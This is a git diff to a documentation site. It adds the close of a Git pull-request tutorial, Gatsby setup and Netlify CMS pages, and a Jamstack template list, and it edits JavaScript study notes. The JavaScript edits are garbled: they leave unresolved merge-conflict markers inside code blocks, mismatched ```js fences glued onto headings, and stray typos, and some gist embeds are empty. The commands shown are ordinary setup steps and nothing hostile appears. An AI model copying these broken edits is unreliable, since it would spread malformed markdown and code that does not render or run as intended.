+[![Git_3](https://product.hubspot.com/hs-fs/hubfs/Git_3.png?width=869&name=Git_3.png)](https://cloud.githubusercontent.com/assets/5241432/9189475/da30eb86-3fb6-11e5-934f-ca596a2cac69.png)
+
+Now click the green button in the screenshot above. We're going to make a **pull request**!
+
+## Step 8: Create a pull request (PR)
+
+A pull request (or PR) is a way to alert a repo's owners that you want to make some changes to their code. It allows them to review the code and make sure it looks good before putting your changes on the primary branch.
+
+This is what the PR page looks like before you've submitted it:
+
+[![Git_4](https://product.hubspot.com/hs-fs/hubfs/Git_4.png?width=600&name=Git_4.png)](https://cloud.githubusercontent.com/assets/5241432/9189500/4688c07e-3fb7-11e5-99ed-d75b50ed9e48.png)
+
+And this is what it looks like once you've submitted the PR request:
+
+[![Git_5](https://product.hubspot.com/hs-fs/hubfs/Git_5.png?width=600&name=Git_5.png)](https://cloud.githubusercontent.com/assets/5241432/9189528/b39a7176-3fb7-11e5-87b1-7fed3e63b6bb.png)
+
+You might see a big green button at the bottom that says 'Merge pull request'. Clicking this means you'll merge your changes into the primary branch..
+
+Sometimes you'll be a co-owner or the sole owner of a repo, in which case you may not need to create a PR to merge your changes. However, it's still a good idea to make one so you can keep a more complete history of your updates and to make sure you always create a new branch when making changes.
+
+## Step 9: Merge a PR
+
+Go ahead and click the green 'Merge pull request' button. This will merge your changes into the primary branch.
+
+[![Git_6](https://product.hubspot.com/hs-fs/hubfs/Git_6.png?width=600&name=Git_6.png)](https://cloud.githubusercontent.com/assets/5241432/9189587/76631d98-3fb8-11e5-9fdb-17e7dec1c2a4.png)
+
+When you're done, I recommend deleting your branch (too many branches can become messy), so hit that grey 'Delete branch' button as well.
+
+You can double check that your commits were merged by clicking on the 'Commits' link on the first page of your new repo.
+
+![Git_7](https://product.hubspot.com/hs-fs/hubfs/Git_7.png?width=600&name=Git_7.png)
+
+This will show you a list of all the commits in that branch. You can see the one I just merged right up top (Merge pull request #1).
+
+![Git_8](https://product.hubspot.com/hs-fs/hubfs/Git_8.png?width=600&name=Git_8.png)
+
+You can also see the [hash code](https://git-scm.com/docs/git-hash-object) of the commit on the right hand side. A hash code is a unique identifier for that specific commit. It's useful for referring to specific commits and when undoing changes (use the [git revert ](http://git-scm.com/docs/git-revert)<hash code number> command to backtrack).
+
+## Step 10: Get changes on GitHub back to your computer
+
+Right now, the repo on GitHub looks a little different than what you have on your local machine. For example, the commit you made in your branch and merged into the primary branch doesn't exist in the primary branch on your local machine.
+
+In order to get the most recent changes that you or others have merged on GitHub, use the git pull origin master command (when working on the primary branch). In most cases, this can be shortened to “git pull”.
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/48b5c726b496d50c3975/raw/fe2c68e0988c467fd218587e2397552076355b52/pulloriginmaster.md)[pulloriginmaster.md ](https://gist.github.com/cubeton/48b5c726b496d50c3975#file-pulloriginmaster-md)hosted with ❤ by [GitHub](https://github.com/)
+
+This shows you all the files that have changed and how they've changed.
+
+Now we can use the [git log](http://git-scm.com/docs/git-log) command again to see all new commits.
+
+(You may need to switch branches back to the primary branch. You can do that using the git checkout master command.)
+
+```
+
+```
+
+[view raw](https://gist.github.com/cubeton/48f55c5a237cd8e1a238/raw/3e31113a073b9bdec16800407d718b631dd0f587/gitlogaftermerge.md)[gitlogaftermerge.md ](https://gist.github.com/cubeton/48f55c5a237cd8e1a238#file-gitlogaftermerge-md)hosted with ❤ by [GitHub](https://github.com/)
+
+<!--EndFragment-->
diff --git a/src/pages/docs/javascript/constructor-functions.md b/src/pages/docs/javascript/constructor-functions.md
index 6916ef3e9b..cd26e0ecd2 100644
--- a/src/pages/docs/javascript/constructor-functions.md
+++ b/src/pages/docs/javascript/constructor-functions.md
@@ -322,6 +322,10 @@ console.log(Book instanceof Function); // true
 
 - A **`prototype chain`** defines a series of prototype objects that are delegated to one by one, when a property or method can't be found on an instance object.
     ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
     console.log(theGrapesOfWrath.getInformation()); // The Grapes of Wrath
     ```
     When the `getInformation()` method is invoked:
@@ -370,10 +374,18 @@ class Movie extends CatalogItem {
 *   **`Entry Point`** : JS File that is passed to Node for access to the entire application.
 *   Syntax for exporting modules:
     ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
     module.exports.Book = Book;
     module.exports.Movie = Movie;
     ```
     ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
     module.exports = {
         Book,
         Movie
@@ -382,10 +394,18 @@ class Movie extends CatalogItem {
 *   Syntax for importing modules:
 
     ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
     const classes = require('./classes');
     ```
 
     ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
     const { Book, Movie } = require('./classes');
     ```
 
diff --git a/src/pages/docs/javascript/js-objects.md b/src/pages/docs/javascript/js-objects.md
index 1d8e2e7f1a..0efdc3c352 100644
--- a/src/pages/docs/javascript/js-objects.md
+++ b/src/pages/docs/javascript/js-objects.md
@@ -64,6 +64,10 @@ ES2015 adds two extensions to object values and object literals:
 
 - Object literals can contain _[computed property names][computed properties]_:
     ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
     var foo = 42;
     var obj = {
         [foo]: 0
diff --git a/src/pages/docs/javascript/part2-pojo.md b/src/pages/docs/javascript/part2-pojo.md
index 14c5949f3b..5841ca944c 100644
--- a/src/pages/docs/javascript/part2-pojo.md
+++ b/src/pages/docs/javascript/part2-pojo.md
@@ -27,7 +27,7 @@ Javascript considers most data types to be ‘primitive', these data types are i
 - <span id="64c8">Function — Reference</span>
 
 #### 2. Identify when to use . vs \[\] when accessing values of an object
-
+```js
     let obj = {
         "one": 1,
         "two": 2
@@ -40,9 +40,10 @@ Javascript considers most data types to be ‘primitive', these data types are i
 
     // Choose the dot property accessor when the property name is known ahead of time.
     console.log(obj.two);
+```
+#### 3. Write an object literal with a variable key using interpolation```js
 
-#### 3. Write an object literal with a variable key using interpolation
-
+```js
     let keyName = "two";
 
     // If the key is not known, you can use an alternative `[]` syntax for
@@ -51,14 +52,15 @@ Javascript considers most data types to be ‘primitive', these data types are i
         [keyName]: 2
     }
     console.log(obj2);
+```
+#### 4. Use the obj\[key\] !== undefined pattern to check if a given variable that contains a key exists in an object```js
 
-#### 4. Use the obj\[key\] !== undefined pattern to check if a given variable that contains a key exists in an object
-
-    function doesKeyExist(obj, key) {
+```js
+    function  doesKeyExist(obj, key) {
         // obj[key] !== undefined
         // or:
         return key in obj;
-    }
+    }```js
 
     let course = {
         bootcamp: 'Lambda',
@@ -66,14 +68,14 @@ Javascript considers most data types to be ‘primitive', these data types are i
     }
     console.log(doesKeyExist(course, 'course')); // => true
     console.log(doesKeyExist(course, 'name')); // => false
-
-#### 5. Utilize Object.keys and Object.values in a function
-
-    function printKeys(object) {
+```
+#### 5. Utilize Object`.keys and Object.values in a function```js
+```js
+    function  printKeys(object) {
         return Object.keys(object);
-    }
+    }```js
 
-    function printValues(object) {
+    function  printValues(object) {
         return Object.values(object);
     }
 
@@ -85,9 +87,9 @@ Javascript considers most data types to be ‘primitive', these data types are i
         dog: "Strelka",
         dog2: "Belka"
     }));
-
-#### 6. Iterate through an object using a for in loop
-
+```
+#### 6. Iterate through an object using a for in loop```js
+```js
     let player = {
         name: "Sergey",
         skill: "hockey"
@@ -98,10 +100,10 @@ Javascript considers most data types to be ‘primitive', these data types are i
     }
 
     console.log(Object.entries(player));
-
-#### 7. Define a function that utilizes …rest syntax to accept an arbitrary number of arguments
-
-    function restSum(...otherNums) {
+```
+#### 7. Define a function that utilizes …rest syntax to accept an arbitrary number of arguments```js
+```js
+    function  restSum(...otherNums) {
         let sum = 0;
         console.log(otherNums);
         otherNums.forEach(function(num) {
@@ -114,13 +116,13 @@ Javascript considers most data types to be ‘primitive', these data types are i
     console.log(restSum(3, 5, 6)); // => 14
     console.log(restSum(1, 2, 3, 4, 5, 6, 7, 8, 9)); // => 45
     console.log(restSum(0)); // => 0
-
-#### 8. Use …spread syntax for Object literals and Array literals
-
+```
+#### 8. Use …spread syntax for Object literals and Array literals```js
+```js
     let numArray = [1, 2, 3];
     let moreNums = [...numArray, 4, 5, 6]
 
-    console.log(moreNums);
+    console.log(moreNums);```js
 
     let shoe = {
         color: "red",
@@ -136,16 +138,16 @@ Javascript considers most data types to be ‘primitive', these data types are i
     console.log(newShoe);
 
     console.log(shoe);
-
-#### 9. Destructure an array to reference specific elements
-
-    let arr = ['one', 'two', 'three'];
+```
+#### 9. Destructure an array to reference specific elements```js
+```js
+    let arr = ['one', 'two', 'three'];```js
 
     let [first] = arr;
     console.log(first);
-
-#### 10. Destructure an object to reference specific values
-
+```
+#### 10. Destructure an object to reference specific values```js
+```js
     let me = {
         name: "Ian",
         instruments: ['bass', 'synth', 'guitar'],
@@ -153,7 +155,7 @@ Javascript considers most data types to be ‘primitive', these data types are i
             brothers: ['Alistair'],
             sisters: ['Meghan']
         }
-    }
+    }```js
 
     let {
         name,
@@ -166,10 +168,10 @@ Javascript considers most data types to be ‘primitive', these data types are i
     console.log(name);
     console.log(musical_instruments);
     console.log(sisters);
-
-#### 11. Write a function that accepts a string as an argument and returns an object representing the count of each character in the array
-
-    function charCount(inputString) {
+```
+#### 11. Write a function that accepts a string as an argument and returns an object representing the count of each character in the array```js
+```js
+    function  charCount(inputString) {
 
         let res = inputString.split("").reduce(function(accum, el) {
             if (el in accum) {
@@ -184,6 +186,7 @@ Javascript considers most data types to be ‘primitive', these data types are i
     }
 
     console.log(charCount('aaabbbeebbcdkjfalksdfjlkasdfasdfiiidkkdingds'));
+<<<<<<< HEAD
 
 ### Review of Concepts
 
@@ -6021,3 +6024,6 @@ We could now use`Promise.all()` to wait for all the Promises in the array to be
     }
 
 both examples will only work if they are within functions declared async; a `for/await` loop is no different than a regular await expression in that way
+=======
+```
+>>>>>>> master
diff --git a/src/pages/docs/netlify-cms-jamstack/get-started-with-gatsby/index.md b/src/pages/docs/netlify-cms-jamstack/get-started-with-gatsby/index.md
new file mode 100644
index 0000000000..aa3cbc818b
--- /dev/null
+++ b/src/pages/docs/netlify-cms-jamstack/get-started-with-gatsby/index.md
@@ -0,0 +1,353 @@
+---
+title: Get Started With Gatsby
+template: docs
+excerpt: Get Started With Gatsby
+---
+
+1.  Create a new site
+
+It’ll ask for a site title and the name of the project’s directory. Continue following the prompts to choose your preferred language (JavaScript or TypeScript), CMS, styling tools and additional features.
+
+2.  Once everything is downloaded you will see a message with instructions for navigating to your site and running it locally.
+
+The CLI created the site as a new folder with the name you chose in step 1.
+
+Start by going to the directory with
+
+Start the local development server with
+
+Gatsby will start a hot-reloading development environment accessible by default at `http://localhost:8000`.
+
+3.  Now you’re ready to make changes to your site!
+
+Try editing the home page in `src/pages/index.js`. Saved changes will live reload in the browser.
+
+## [](https://www.gatsbyjs.com/docs/quick-start/#whats-next)What’s next?
+
+### [](https://www.gatsbyjs.com/docs/quick-start/#use-flags)Use flags
+
+The CLI also supports two flags:
+
+-   `-y` skips the questionnaire
+-   `-ts` initializes your project with the [minimal TypeScript starter](https://github.com/gatsbyjs/gatsby-starter-minimal-ts) instead of the [minimal JavaScript starter](https://github.com/gatsbyjs/gatsby-starter-minimal)
+
+Flags are not positional, so these commands are equivalent:
+
+-   `npm init gatsby -y -ts my-site-name`
+-   `npm init gatsby my-site-name -y -ts`
+
+
+
+Create a Gatsby site
+--------------------
+
+To create your first Gatsby site, you're going to use a command from the Gatsby command line interface (CLI): `gatsby new`. This command brings up an interactive prompt that asks you questions about the site you want to build. After you enter all the information, the CLI uses your answers to automatically generate your new Gatsby site.
+
+[![The welcome message for the interactive "gatsby new" command.](https://www.gatsbyjs.com/static/eab322d4f0a5a12bdc749ef0992c4e7c/321ea/gatsby-new-cli.png "The welcome message for the interactive "gatsby new" command.")](https://www.gatsbyjs.com/static/eab322d4f0a5a12bdc749ef0992c4e7c/e92cd/gatsby-new-cli.png)
+
+**Note:** For this Tutorial, your Gatsby CLI should be v4.8 or newer. To check what version you have installed, run the following command:
+
+Copycopy code to clipboard`
+
+gatsby --version
+
+`
+
+Need to update? Run the command below to get the latest version of the Gatsby CLI:
+
+Copycopy code to clipboard`
+
+npm  install -g gatsby-cli
+
+`
+
+Let's take a closer look at the process:
+
+1.  Open the command line, and use the `cd` command to change directories into the folder where you want to create your new Gatsby site. For example, if you wanted to create your new site on your desktop, you might type:
+
+Copycopy code to clipboard`
+
+cd Desktop
+
+`
+
+1.  Run the following command from the command line. This will start up the interactive prompt to help you create a new Gatsby site.
+
+Desktop
+
+CopyDesktop: copy code to clipboard`
+
+gatsby new
+
+`
+
+**Having trouble with `gatsby new`?** If you had trouble globally installing `gatsby-cli` in Part 0, you can also create a new site by running `npm init gatsby` from the command line instead of `gatsby new`.
+
+1.  When the prompt asks, **"What would you like to call your site?"** enter a name for your site.
+
+Copycopy code to clipboard`
+
+What would you like to call your site?
+
+✔ - My First Gatsby Site
+
+`
+
+1.  When the prompt asks, **"What would you like to name the folder where your site will be created?"** use the default folder name, which will be based on the site name you chose.
+
+Copycopy code to clipboard`
+
+What would you like to name the folder where your site will be created?
+
+✔ Desktop/ my-first-gatsby-site
+
+`
+
+1.  When the prompt asks, **"Will you be using JavaScript or TypeScript?"** choose **JavaScript**.
+
+Copycopy code to clipboard`
+
+Will you be using JavaScript or TypeScript?
+
+❯ JavaScript
+
+ TypeScript
+
+`
+
+This tutorial doesn't require any prior TypeScript knowledge as it uses JavaScript. If you're familiar with TypeScript you can read the [Gatsby and TypeScript guide](https://www.gatsbyjs.com/docs/how-to/custom-configuration/typescript/) to learn about typings, files, and conventions. If you want to use TypeScript we recommend going through the tutorial first and then only afterwards convert the project to TypeScript.
+
+1.  When the prompt asks, **"Will you be using a CMS?"** select **"No (or I'll add it later)"**.
+
+Copycopy code to clipboard`
+
+✔ Will you be using a CMS?
+
+- No (or I'll add it later)
+
+`
+
+In the future, you can use these options to tell `gatsby new` what features you want to add to your site, and `gatsby new` will automatically configure them for you. It's a much quicker way to set up new projects.
+
+But in this first site, you'll set things up manually to learn about how Gatsby's pieces fit together.
+
+1.  When the prompt asks, **"Would you like to install a styling system?"** select **"No (or I'll add it later)"**. (You'll add styles manually later.)
+
+Copycopy code to clipboard`
+
+✔ Would you like to install a styling system?
+
+- No (or I'll add it later)
+
+`
+
+1.  When the prompt asks, **"Would you like to install additional features with other plugins?"** use the arrow and Enter keys to select **"Done"**.
+
+Copycopy code to clipboard`
+
+✔ Would you like to install additional features with other plugins?
+
+- Done
+
+`
+
+1.  The prompt will show you a summary of what `gatsby new` will do. It should look something like the output below.
+
+Copycopy code to clipboard`
+
+Thanks! Here's what we'll now do:
+
+ 🛠  Create a new Gatsby site in the folder my-first-gatsby-site
+
+? Shall we do this? (Y/n) › Yes
+
+`
+
+1.  When the prompt asks, **"Shall we do this?"** enter **"Y"**. The `gatsby new` command will start building your site. Your internet download speed will affect how long this command takes to run. After it finishes, you should see a message like this:
+
+Copycopy code to clipboard`
+
+🎉  Your new Gatsby site My First Gatsby Site has been successfully
+
+created at ~/Desktop/my-first-gatsby-site.
+
+Start by going to the directory with
+
+  cd my-first-gatsby-site
+
+Start the local development server with
+
+  npm run develop
+
+See all commands at
+
+ https://www.gatsbyjs.com/docs/gatsby-cli/
+
+`
+
+Congratulations, you're now the owner of a brand-new Gatsby site!
+
+[](https://www.gatsbyjs.com/docs/tutorial/part-1/#run-your-site-locally)Run your site locally
+---------------------------------------------------------------------------------------------
+
+So far, you've generated the code for your site, but what does it actually look like in a web browser like Firefox or Google Chrome? To find out, you'll first need to start up your site's local development server.
+
+The **development server** is a useful tool for when you're working on your site locally (from your own computer). When your development server is running, you can use a web browser to interact with your local copy of your site. That way, you can test out changes to your code, to make sure they work before you actually publish a new version of your site to the internet.
+
+To start up your development server, do the following:
+
+1.  In the command line, change into the directory you created for your site:
+
+~/Desktop
+
+Copy~/Desktop: copy code to clipboard`
+
+cd my-first-gatsby-site
+
+`
+
+**Tip:** Whenever you want to run any commands for your site, you need to be in the context for that site. That is, your command line needs to be pointed at the directory where your site's code lives.
+
+1.  From your site directory, start the development server by running the following command:
+
+~/Desktop/my-first-gatsby-site
+
+Copy~/Desktop/my-first-gatsby-site: copy code to clipboard`
+
+gatsby develop
+
+`
+
+If you weren't able to install the Gatsby command line interface globally, you can start your development server using the following command instead:
+
+Copycopy code to clipboard`
+
+npm run develop
+
+`
+
+1.  After a few moments, the command line should output a message like the following, telling you your development server is ready to go!
+
+Copycopy code to clipboard`
+
+You can now view my-first-gatsby-site in the browser.
+
+⠀
+
+ http://localhost:8000/
+
+⠀
+
+View GraphiQL, an in-browser IDE, to explore your site's data and
+
+schema
+
+⠀
+
+ http://localhost:8000/___graphql
+
+`
+
+1.  Open your favorite web browser and navigate to `http://localhost:8000`.
+
+[![The default home page generated by the "gatsby new" command.](https://www.gatsbyjs.com/static/b79cb66545b144295a8c6a5efeaafb20/321ea/localhost-new-site.png "The default home page generated by the "gatsby new" command.")](https://www.gatsbyjs.com/static/b79cb66545b144295a8c6a5efeaafb20/94cea/localhost-new-site.png)
+
+And there it is: your very first Gatsby site! 🎉
+
+You'll be able to visit the site locally at `http://localhost:8000/` for as long as your development server is running. (That's the process you started by running the `gatsby develop` command.) To stop running that process (or to "stop running the development server"), go back to your terminal window, hold down the "control" key, and then hit "c" (`ctrl-c`). To start it again, run `gatsby develop` again!
+
+**Note:** If you are using VM setup like vagrant and/or would like to listen on your local IP address, run `gatsby develop --host=0.0.0.0`. Now, the development server listens on both `http://localhost` and your local IP.
+
+[](https://www.gatsbyjs.com/docs/tutorial/part-1/#set-up-a-github-repo-for-your-site)Set up a GitHub repo for your site
+-----------------------------------------------------------------------------------------------------------------------
+
+GitHub is a website that many developers use to back up and share their code online. By uploading your code to GitHub, you'll be able to work on the same codebase from multiple computers. You'll also be able to use Gatsby Cloud to build and host your site.
+
+1.  Each codebase on GitHub is stored in its own **repository** (also called a "repo", for short). To create a new repository for your blog, click the plus icon in the top-right corner of the navigation bar. Select "New repository".
+
+    [![A dropdown in the navigation bar reveals the "New repository" button.](https://www.gatsbyjs.com/static/bf74830c88d3f8b0287b58cf397be992/321ea/new-repo-button.png "A dropdown in the navigation bar reveals the "New repository" button.")](https://www.gatsbyjs.com/static/bf74830c88d3f8b0287b58cf397be992/18539/new-repo-button.png)
+
+2.  When filling out the form for your new repo, you can make it public or private. (This only affects the visibility of your code on GitHub. Your site will still be visible to everyone once you deploy it with Gatsby Cloud.) Leave the initialization option checkboxes unchecked.
+
+    [![The GitHub form to create a new repository. It's set to create a public repo called "my-first-gatsby-site". The options to add a README, .gitignore file, and license are unchecked.](https://www.gatsbyjs.com/static/94ec685d2adefdf4d2aac5b3364acba9/321ea/new-repo-options.png "The GitHub form to create a new repository. It's set to create a public repo called "my-first-gatsby-site". The options to add a README, .gitignore file, and license are unchecked.")](https://www.gatsbyjs.com/static/94ec685d2adefdf4d2aac5b3364acba9/3d68f/new-repo-options.png)
+
+3.  To push your existing code from your computer to your new GitHub repository, enter the commands below in the command line. Be sure to swap out `YOUR_GITHUB_USERNAME` for your actual username and `YOUR_GITHUB_REPO_NAME` with the name you gave your GitHub repo (like `my-first-gatsby-site`).
+
+    Copycopy code to clipboard`
+
+    git remote add origin https://github.com/YOUR_GITHUB_USERNAME/YOUR_GITHUB_REPO_NAME.git
+
+    git branch -M main
+
+    git push -u origin main
+
+    `
+
+**Using GitHub for the first time?**
+
+If you get an error about permissions when you try to push your code to GitHub for the first time, you might need to set up a **personal access token** for your GitHub account. This lets GitHub know that your computer has permission to push code changes to your remote repos.
+
+For instructions on how to set up a personal access token, follow GitHub's guide: [Creating a personal access token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). Your personal access token will need the **repo** scope to be able to push changes to your repository.
+
+Now you have a copy of your code saved on GitHub's servers. In the next step, you'll connect your Gatsby Cloud account to the GitHub repo you just created.
+
+[](https://www.gatsbyjs.com/docs/tutorial/part-1/#build-your-site-with-gatsby-cloud)Build your site with Gatsby Cloud
+---------------------------------------------------------------------------------------------------------------------
+
+Gatsby Cloud is an infrastructure platform that is specifically optimized for building, deploying, and hosting Gatsby sites. Once you connect your Gatsby Cloud account to your GitHub repository, Gatsby Cloud will build your site and make it available for others on the internet to see.
+
+To connect your code on GitHub to your Gatsby Cloud account, do the following:
+
+1.  Go to your [Gatsby Cloud Dashboard](https://www.gatsbyjs.com/dashboard/). Click on the **"Add a site"** button.
+
+    [![An empty Gatsby Cloud dashboard](https://www.gatsbyjs.com/static/9c130998b561f1770834309715c99d5b/321ea/01-create-a-site-button.png "An empty Gatsby Cloud dashboard")](https://www.gatsbyjs.com/static/9c130998b561f1770834309715c99d5b/2b36a/01-create-a-site-button.png)
+
+2.  The next few steps will help you add your site to Gatsby Cloud. First, in the **"Import from a Git repository"** card click the **"GitHub"** icon to select GitHub as your Git provider.
+
+    [![The "Add a site" screen. Select the option for "Import from a Git repository".](https://www.gatsbyjs.com/static/ff5dd96106160a1c11eaa25af6becdda/321ea/02-import-a-git-repo.png "The "Add a site" screen. Select the option for "Import from a Git repository".")](https://www.gatsbyjs.com/static/ff5dd96106160a1c11eaa25af6becdda/0f688/02-import-a-git-repo.png)
+
+3.  If this is your first time connecting GitHub to Gatsby Cloud, you'll need to give Gatsby Cloud permission to access your GitHub account.
+
+    **Note:** If you are part of more than one GitHub organization, you will need to first select the organization with which the repository resides at this step before selecting the repository itself.
+
+4.  A new browser window should open, where GitHub will ask you whether you want to give Gatsby Cloud permission to your GitHub repositories. You can choose whether to give Gatsby Cloud access to all of your GitHub repositories or to only the repository you created (`my-first-gatsby-site`). Then click **"Install"**.
+
+    [![The GitHub permissions page, asking whether you want to give Gatsby Cloud access to your repos. The "All repositories" option is selected.](https://www.gatsbyjs.com/static/4fd11cb2e4af910ca099f70d12aa8421/321ea/03-github-gatsby-cloud-permissions.png "The GitHub permissions page, asking whether you want to give Gatsby Cloud access to your repos. The "All repositories" option is selected.")](https://www.gatsbyjs.com/static/4fd11cb2e4af910ca099f70d12aa8421/0f96c/03-github-gatsby-cloud-permissions.png)
+
+5.  Now, when you go back to the Gatsby Cloud window, the repository list should contain your GitHub repository. Select it.
+
+    [![The "Select a Repository" dropdown in Gatsby Cloud lists the "my-first-gatsby-site" GitHub repository.](https://www.gatsbyjs.com/static/5fb2c6c66c2d25426b180ee40917fd83/321ea/04-select-repository.png "The "Select a Repository" dropdown in Gatsby Cloud lists the "my-first-gatsby-site" GitHub repository.")](https://www.gatsbyjs.com/static/5fb2c6c66c2d25426b180ee40917fd83/65781/04-select-repository.png)
+
+6.  Once you select your repo, you'll be navigated to the configuration step which presents you with a few more inputs. These let you tell Gatsby Cloud where to look in your GitHub repo for your Gatsby site. You can also change what Gatsby Cloud will name your site. **Leave the default settings** and click the **"Next"** button.
+
+    [![The new fields. "Base Branch" is set to "main", "Base Directory" is set to "/", and "Site Name" is set to "my-first-gatsby-site-main".](https://www.gatsbyjs.com/static/61bb418dbf509217b076a19507374eef/321ea/05-add-site-details.png "The new fields. "Base Branch" is set to "main", "Base Directory" is set to "/", and "Site Name" is set to "my-first-gatsby-site-main".")](https://www.gatsbyjs.com/static/61bb418dbf509217b076a19507374eef/65781/05-add-site-details.png)
+
+7.  Gatsby Cloud will ask you if you want to add any integrations to your site. For future projects, this might be useful if you want to use a CMS. Gatsby Cloud will also ask if you want to add any environment variables. Again, this may useful for future projects, but for now, scroll past and click the **"Build Site"** button.
+
+    [![The "Integrations" tab of the "Add a site" screen.](https://www.gatsbyjs.com/static/c36f2eede71bb383cf02e73a7a8cf320/321ea/06-integrations-and-environment-variables.png "The "Integrations" tab of the "Add a site" screen.")](https://www.gatsbyjs.com/static/c36f2eede71bb383cf02e73a7a8cf320/65781/06-integrations-and-environment-variables.png)
+
+8.  Now that your site has been created, you'll be taken to a site dashboard where you can see the status of your builds. Gatsby Cloud should start building your site automatically. You'll see a link to your new site, which is automatically hosted on Gatsby Cloud. You can share this link with anyone, and they'll be able to see your site online!
+
+    [![The Gatsby Cloud dashboard for a new site.](https://www.gatsbyjs.com/static/d82ecf06f74d4195697a9a4c9253049d/321ea/07-site-page.png "The Gatsby Cloud dashboard for a new site.")](https://www.gatsbyjs.com/static/d82ecf06f74d4195697a9a4c9253049d/65781/07-site-page.png)
+
+You did it! Your Gatsby site is now online! 👏
+
+Every time you push a new change to the main branch of your GitHub repo, Gatsby Cloud will see the changes and automatically start a build for the new version of your site.
+
+**Tip:** There will be a unique URL for each build (like `https://build-49535320-b3ae-4761-bbeb-f8f7fa07e0fc.gtsb.io/`), and a URL that always has the latest build (like `my-first-gatsby-site-main.gatsbyjs.io`). You'll mostly want to share the human-readable URL, so that people can always see the most up-to-date version of your site. But in some cases (like when you're trying to debug a specific build of your site) it can be helpful to use the unique build URL.
+
+[](https://www.gatsbyjs.com/docs/tutorial/part-1/#summary)Summary
+-----------------------------------------------------------------
+
+In this section, you learned how to create a new Gatsby site and deploy it online using Gatsby Cloud. As a quick review, here's the diagram outlining the process:
+
+[![The workflow for how your code gets from your computer to your users. Extended description below.](https://www.gatsbyjs.com/static/0fd27b745c1de708f034eaf97c4416e0/321ea/deployment-workflow.png "The workflow for how your code gets from your computer to your users. Extended description below.")](https://www.gatsbyjs.com/static/0fd27b745c1de708f034eaf97c4416e0/d61c2/deployment-workflow.png)
+
+*Expand for detailed description*
+
+### [](https://www.gatsbyjs.com/docs/tutorial/part-1/#key-takeaways)Key takeaways
+
+-   To create a new Gatsby site from the command line, you can run the `gatsby new` command.
+-   To run your site locally, use the `gatsby develop` command. You can view your site in a web browser at `localhost:8000`.
+-   Gatsby Cloud is an infrastructure platform specifically optimized for building, deploying, and hosting Gatsby sites.
+    -   When you push a new commit to the `main` branch of the GitHub repository for your site, Gatsby Cloud will detect the changes, rebuild a new version of your site, and then redeploy it.
diff --git a/src/pages/docs/netlify-cms-jamstack/index.md b/src/pages/docs/netlify-cms-jamstack/index.md
new file mode 100644
index 0000000000..4649718682
--- /dev/null
+++ b/src/pages/docs/netlify-cms-jamstack/index.md
@@ -0,0 +1,39 @@
+---
+title: Netlify CMS
+template: docs
+excerpt: etlify CMS is an open source content management system for your Git
+  workflow that enables you to provide editors with a friendly UI and intuitive
+  workflows.
+---
+Netlify CMS is an open source content management system for your Git workflow that enables you to provide editors with a friendly UI and intuitive workflows. You can use it with any static site generator to create faster, more flexible web projects. Content is stored in your Git repository alongside your code for easier versioning, multi-channel publishing, and the option to handle content updates directly in Git.
+
+At its core, Netlify CMS is an open-source React app that acts as a wrapper for the Git workflow, using the GitHub, GitLab, or Bitbucket API. This provides many advantages, including:
+
+-   **Fast, web-based UI:** With rich-text editing, real-time preview, and drag-and-drop media uploads.
+-   **Platform agnostic:** Works with most static site generators.
+-   **Easy installation:** Add two files to your site and hook up the backend by including those files in your build process or linking to our Content Delivery Network (CDN).
+-   **Modern authentication:** Using GitHub, GitLab, or Bitbucket and JSON web tokens.
+-   **Flexible content types:** Specify an unlimited number of content types with custom fields.
+-   **Fully extensible:** Create custom-styled previews, UI widgets, and editor plugins.
+
+## [](https://www.netlifycms.org/docs/intro/#netlify-cms-vs-netlify)Netlify CMS vs. Netlify
+
+[Netlify.com](https://www.netlify.com/) is a platform you can use to automatically build, deploy, serve, and manage your frontend sites and web apps. It also provides a variety of other features like form processing, serverless functions, and split testing. Not all Netlify sites use Netlify CMS, and not all sites using Netlify CMS are on Netlify.
+
+The folks at Netlify created Netlify CMS to fill a gap in the static site generation pipeline. There were some great proprietary headless CMS options, but no real contenders that were open source and extensible—that could turn into a community-built ecosystem like WordPress or Drupal. For that reason, Netlify CMS is _made_ to be community-driven, and has never been locked to the Netlify platform (despite the name).
+
+With this in mind, you can:
+
+-   Use Netlify CMS without Netlify and deploy your site where you always have, hooking up your own CI, site hosting, CDN, etc.
+-   Use Netlify without Netlify CMS and edit your static site in your code editor.
+-   Or, use them together and have a fully-working CMS-enabled site with [one click](https://www.netlifycms.org/docs/start-with-a-template/)!
+
+If you hook up Netlify CMS to your website, you're basically adding a tool for content editors to make commits to your site repository without touching code or learning Git.
+
+### [](https://www.netlifycms.org/docs/intro/#find-out-more)Find out more
+
+-   Get a feel for the UI in the [demo site](https://cms-demo.netlify.com/). (No login required. Click the login button to go straight to the CMS editor UI.)
+-   [Start with a template](https://www.netlifycms.org/docs/start-with-a-template/) to make a Netlify CMS-enabled site of your own.
+-   Configure your existing site by following a [tutorial](https://www.netlifycms.org/docs/add-to-your-site/) or checking [configuration options](https://www.netlifycms.org/docs/configuration-options).
+-   Ask questions and share ideas in the Netlify CMS [community chat](https://netlifycms.org/chat).
+-   Get involved in new developments and become a [contributor](https://www.netlifycms.org/docs/contributor-guide/).
\ No newline at end of file
diff --git a/src/pages/docs/netlify-cms-jamstack/jamstack-templates.md b/src/pages/docs/netlify-cms-jamstack/jamstack-templates.md
new file mode 100644
index 0000000000..42a36a98de
--- /dev/null
+++ b/src/pages/docs/netlify-cms-jamstack/jamstack-templates.md
@@ -0,0 +1,215 @@
+---
+title: Jamstack
+template: docs
+excerpt: A collection of project starter templates for a variety of static site generators with one-click deployments to Netlify.
+---
+# Jamstack Project Templates
+
+> ## Excerpt
+> A collection of project starter templates for a variety of static site generators with one-click deployments to Netlify.
+
+---
+
+-   ### [Artisan Static](https://templates.netlify.com/template/artisan-static/)
+
+    [Artisan Static](https://artisanstatic.netlify.app/) is a starter template for building a static Jigsaw blog hosted on Netlify.
+
+    This comes with code highlighting, share buttons, comments, analytics, an RSS feed, a contact form, a CMS and more.
+
+    The HTML, CSS and JavaScript in this template are extremely minimal, which makes the code easy to build on top of or replace completely.
+
